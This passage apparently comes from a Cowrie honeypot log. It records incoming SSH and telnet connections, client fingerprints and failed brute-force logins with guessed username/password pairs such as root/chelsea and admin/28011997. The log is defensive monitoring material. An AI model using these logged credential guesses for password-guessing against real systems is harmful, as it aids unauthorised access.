{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:17:16.212361Z","src_ip":"38.253.239.21","session":"1a9e4aa128a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:17:17.440662Z","src_ip":"38.253.239.21","session":"1a9e4aa128a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.168.136","src_port":48252,"dst_ip":"159.203.135.109","dst_port":22,"session":"17ade0311f3c","protocol":"ssh","message":"New connection: 115.190.168.136:48252 (159.203.135.109:22) [session: 17ade0311f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:17:46.714282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:17:48.101489Z","src_ip":"115.190.168.136","session":"17ade0311f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:17:48.105121Z","src_ip":"115.190.168.136","session":"17ade0311f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43858,"dst_ip":"10.17.0.5","dst_port":23,"session":"20bc6ac7916b","protocol":"telnet","message":"New connection: 192.119.13.58:43858 (10.17.0.5:23) [session: 20bc6ac7916b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:16.424394Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":45684,"dst_ip":"159.203.135.109","dst_port":22,"session":"a19b81bc5eb4","protocol":"ssh","message":"New connection: 94.159.98.239:45684 (159.203.135.109:22) [session: a19b81bc5eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:33.684008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:33.700337Z","src_ip":"94.159.98.239","session":"a19b81bc5eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:33.819755Z","src_ip":"94.159.98.239","session":"a19b81bc5eb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987321","message":"login attempt [root/987321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:34.462385Z","src_ip":"94.159.98.239","session":"a19b81bc5eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:35.713731Z","src_ip":"94.159.98.239","session":"a19b81bc5eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:46.719417Z","src_ip":"115.190.168.136","session":"17ade0311f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":40455,"dst_ip":"10.17.0.5","dst_port":22,"session":"71136d3670e5","protocol":"ssh","message":"New connection: 2.57.121.112:40455 (10.17.0.5:22) [session: 71136d3670e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:51.470442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:51.475188Z","src_ip":"2.57.121.112","session":"71136d3670e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:51.575424Z","src_ip":"2.57.121.112","session":"71136d3670e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280186","message":"login attempt [admin/280186] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:52.046837Z","src_ip":"2.57.121.112","session":"71136d3670e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28011997","message":"login attempt [admin/28011997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:53.150430Z","src_ip":"2.57.121.112","session":"71136d3670e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28011971","message":"login attempt [admin/28011971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:54.253184Z","src_ip":"2.57.121.112","session":"71136d3670e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2747","message":"login attempt [admin/2747] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:55.356566Z","src_ip":"2.57.121.112","session":"71136d3670e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"272829","message":"login attempt [admin/272829] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:56.459456Z","src_ip":"2.57.121.112","session":"71136d3670e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.9969596862793,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:57.421224Z","src_ip":"192.119.13.58","session":"20bc6ac7916b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:19:57.562067Z","src_ip":"2.57.121.112","session":"71136d3670e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":39050,"dst_ip":"159.203.135.109","dst_port":22,"session":"43cc8cf797c2","protocol":"ssh","message":"New connection: 103.149.170.125:39050 (159.203.135.109:22) [session: 43cc8cf797c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:08.951058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:08.962353Z","src_ip":"103.149.170.125","session":"43cc8cf797c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:09.232852Z","src_ip":"103.149.170.125","session":"43cc8cf797c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chelsea","message":"login attempt [root/chelsea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:10.040313Z","src_ip":"103.149.170.125","session":"43cc8cf797c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:11.312494Z","src_ip":"103.149.170.125","session":"43cc8cf797c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":51947,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dd2c7b7e423","protocol":"telnet","message":"New connection: 186.195.16.41:51947 (159.203.135.109:23) [session: 1dd2c7b7e423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:23.390872Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":55516,"dst_ip":"159.203.135.109","dst_port":22,"session":"adbf1176e2e1","protocol":"ssh","message":"New connection: 62.133.63.178:55516 (159.203.135.109:22) [session: adbf1176e2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:48.010320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:48.015324Z","src_ip":"62.133.63.178","session":"adbf1176e2e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:48.139815Z","src_ip":"62.133.63.178","session":"adbf1176e2e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rammstein","message":"login attempt [root/rammstein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:48.518238Z","src_ip":"62.133.63.178","session":"adbf1176e2e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:49.646483Z","src_ip":"62.133.63.178","session":"adbf1176e2e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":32990,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7f5a9304eac","protocol":"ssh","message":"New connection: 103.149.28.157:32990 (10.17.0.5:22) [session: b7f5a9304eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:49.870394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:49.875517Z","src_ip":"103.149.28.157","session":"b7f5a9304eac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:50.120127Z","src_ip":"103.149.28.157","session":"b7f5a9304eac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfifcfif","message":"login attempt [root/cfifcfif] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:50.852714Z","src_ip":"103.149.28.157","session":"b7f5a9304eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:20:52.099606Z","src_ip":"103.149.28.157","session":"b7f5a9304eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.25739550590515,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:06.647871Z","src_ip":"186.195.16.41","session":"1dd2c7b7e423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":50330,"dst_ip":"159.203.135.109","dst_port":22,"session":"35b50fc44937","protocol":"ssh","message":"New connection: 103.219.170.37:50330 (159.203.135.109:22) [session: 35b50fc44937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:07.897053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:07.911366Z","src_ip":"103.219.170.37","session":"35b50fc44937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:07.980022Z","src_ip":"103.219.170.37","session":"35b50fc44937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz12345@","message":"login attempt [root/Qaz12345@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:08.189894Z","src_ip":"103.219.170.37","session":"35b50fc44937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:09.261226Z","src_ip":"103.219.170.37","session":"35b50fc44937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":53889,"dst_ip":"10.17.0.5","dst_port":22,"session":"579e4a8db72f","protocol":"ssh","message":"New connection: 2.57.121.25:53889 (10.17.0.5:22) [session: 579e4a8db72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:16.635276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:16.641837Z","src_ip":"2.57.121.25","session":"579e4a8db72f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 